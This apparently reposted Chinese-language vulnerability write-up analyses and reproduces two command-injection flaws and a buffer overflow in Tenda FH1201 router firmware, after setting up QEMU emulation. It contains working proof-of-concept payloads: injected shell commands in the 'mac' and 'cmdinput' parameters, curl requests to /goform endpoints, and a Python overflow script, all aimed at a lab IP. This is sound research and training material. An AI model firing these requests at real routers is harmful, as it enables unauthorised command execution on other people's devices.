freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Tenda-FH1201多处命令注入漏洞分析和复现
2024-08-13 18:25:28

1 前言

近期,在浏览公众号时无意发现Tenda-FH1201存在命令注入漏洞CVE-2024-41468,CVE-2024-41473。一看固件更新时间2018-10-12,感觉没必要应急了,但是作为初学者练习还是不错。

腾达(Tenda)是中国的一家网络设备制造商,专注于生产各种网络相关设备,包括路由器、交换机、无线适配器和网络摄像头等。腾达的 FH 系列路由器是其家庭和小型办公网络解决方案中的一种,主要特点是性价比高,易于设置和使用。

2 环境搭建

2.1 固件下载

Tenda官网提供固件下载[1]:

固件版本: FH1201 Firmware  V1.2.0.14

binwalk解压固件:

$ binwalk -Me US_FH1201V1.0BR_V1.2.0.14\(408\)_EN_TD.bin

查看bin/busybox得知是 32位mips架构(小端):

$ file squashfs-root/bin/busybox 
squashfs-root/bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

2.2 QEMU模拟

先使用 QEMU用户级调试启动,看看会不会遇到问题。安装qemu-user-static

$ sudo apt install qemu-user-static  # debian,ubuntu
$ sudo yum install qemu-user-static  # centos

安装完成后将qemu-mipsel-static赋值到文件系统目录squashfs-root下,启动httpd服务:

$ cd squashfs-root/
$ cp $(which qemu-mipsel-static) ./
$ sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

image

图1 尝试启动httpd服务

发现程序会卡在上图字符串位置。为了使程序继续进行,使用IDA打开httpd文件分析原因,首先定位到Welcome字符串,Shift+F12打开字符串窗口再通过Ctrl+f搜索关键字Welcome

image

图2 搜索关键字Welcome

Ctrl+x交叉引用看到汇编代码后再F5反编译看看代码大概逻辑。

image

图3 反汇编源码

这里有一个check_network函数被循环调用,并且还有sleep(1u)的延迟,直到返回值大于0。目的可能是等待网络连接成功后再执行后续操作,这样就会陷入死循环。

再通过汇编代码看看执行逻辑:

image

图4 汇编源码

addiu $v0, $fp, 0xE0+var_34:    计算v0的值,这里v0指向变量v7。
move $a0, $v0:                  将v0的值传递给a0(第一个函数参数)。
la $t9, check_network:          加载check_network函数的地址到t9。
jalr $t9:                       跳转并链接到check_network函数。
lw $gp, 0xE0+var_D0($fp):       恢复全局指针寄存器$gp。
bgtz $v0, loc_48926C:           如果check_network返回值大于0,跳转到loc_48926C。

因为check_network返回值无法大于0而陷入死循环。

可以通过修改汇编代码,使程序不调用check_network直接跳转到后续操作。这里使用的方式是将move $a0, $v0修改为li $v0, 1,后续代码nop代替,模拟check_network返回大于1,跳转到loc_48926C继续执行后续代码。

直接使用IDA提供的Edit->Patch program->change byte更改鼠标指针处的字节:

image

image

图5 patch之后汇编代码

然后,Edit->Patch program->Apply patches to input file将更改保存进二进制文件。

QEMU系统级调试模拟环境,此时需要一个mipsel架构的内核镜像和文件系统,可以在这个网站[2]下载。

vmlinux-2.6.32-5-4kc-malta  内核镜像
debian_squeeze_mipsel_standard.qcow2  文件系统
$ sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no

启动后用户名和密码都是root即可登录模拟的系统。

接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。

宿主机安装依赖:

$ sudo apt-get install bridge-utils uml-utilities

将如下代码保存为net.sh并运行即可:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

然后配置qemu虚拟系统的路由,在qemu虚拟系统中运行net.sh并运行:

#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

//虚拟系统可能没有 vim 或 nano ,使用 echo 一行一行写。这样宿主机和模拟环境互通,使用scp命令将squashfs-root文件夹上传到qemu系统中的/root路径下:

scp -r squashfs-root/ root@192.168.100.2:/root

然后挂载procdev,最后chroot即可:

root@debian-mipsel:~# mount -t proc /proc ./squashfs-root/proc
root@debian-mipsel:~# mount -o bind /dev ./squashfs-root/dev
root@debian-mipsel:~# chroot ./squashfs-root/ sh
# ls
bin                 lib                 sys
dev                 media               tmp
etc                 mnt                 usr
etc_ro              proc                var

运行bin/httpd成功搭建环境。

3 漏洞分析

3.1 CVE-2024-41473

漏洞位于WriteFacMac函数中:

image

图6 writeFacMac源码

代码从 HTTP 请求中获取名为mac的参数。如果参数不存在,则使用默认值"00:01:02:11:22:33"

doSystemCmd("cfm mac %s", Var)代码使用格式化字符串cfm mac %s和变量Var生成命令,然后调用doSystemCmd函数执行生成的命令。

doSystemCmd函数看起来是一个执行系统命令的函数,并且通过格式化字符串将Var直接插入命令中。如果Var中包含恶意用户输入,可能会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意mac参数:

mac=00:01:02:11:22:33; ifconfig /

这种情况下生成的命令将会导致命令执行:

cfm mac 00:01:02:11:22:33; ifconfig /

漏洞复现

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "mac=%3Bifconfig" "http://192.168.100.2/goform/WriteFacMac"

image

图7 漏洞复现

3.2 CVE-2024-41468

漏洞位于exeCommand函数中:

image

图8 exeCommand源码

代码从HTTP请求中获取名为cmdinput的参数,存储在src中。如果参数不存在,使用默认值&unk_4AFDC0

strcpy(v7, src)代码将获取到的cmdinput参数值复制到缓冲区v7中。没有对输入进行验证或清理。

由于doSystemCmd函数直接使用v7中的值作为命令执行,且v7是从用户输入中获取的,这会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意cmdinput参数:

cmdinput=ls; ifconfig /

这种情况下生成的命令将会导致命令执行:

ls; ifconfig /

漏洞复现

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "cmdinput=ifconfig%3B" "http://192.168.100.2/goform/exeCommand"

image

图9 漏洞复现

此外,大家注意看图8中黑线标出部分,char v7[512];``char v8[256];``char v9[4096];``char v10[4096];声明了一些固定大小的缓冲区。

strcpy(v7, src);使用strcpy将用户输入复制到v7,但strcpy不会检查目标缓冲区的大小。如果src超过 512 字节,导致导致缓冲区溢出,程序崩溃。

import requests

ip = '192.168.100.2'
url = f"http://{ip}/goform/exeCommand"

long_input = 'A' * 600  # 600 字节的字符串,会溢出 512 字节的缓冲区

data = {
    "cmdinput": long_input
}

ret = requests.post(url=url, data=data)
print(ret.text)

image

图10 溢出漏洞复现

同样地,在fgets(v10, 4096, stream)memcpy(&v9[v3], v10, n)中,没有适当的边界检查,也可能导致缓冲区溢出。

4 总结

感觉这个路由器还有没被发现的漏洞,存在doSystemCmd函数调用的地方都可能产生命令注入,并且很多地方都存在溢出漏洞。通过溢出漏洞RCE的利用我也还在学习中,学会了下篇再聊。

5 相关链接

1.固件下载

2.内核镜像和文件系统下载


作者:fan@知道创宇404实验室
原文链接:https://paper.seebug.org/3213/

# 漏洞分析 # IoT安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录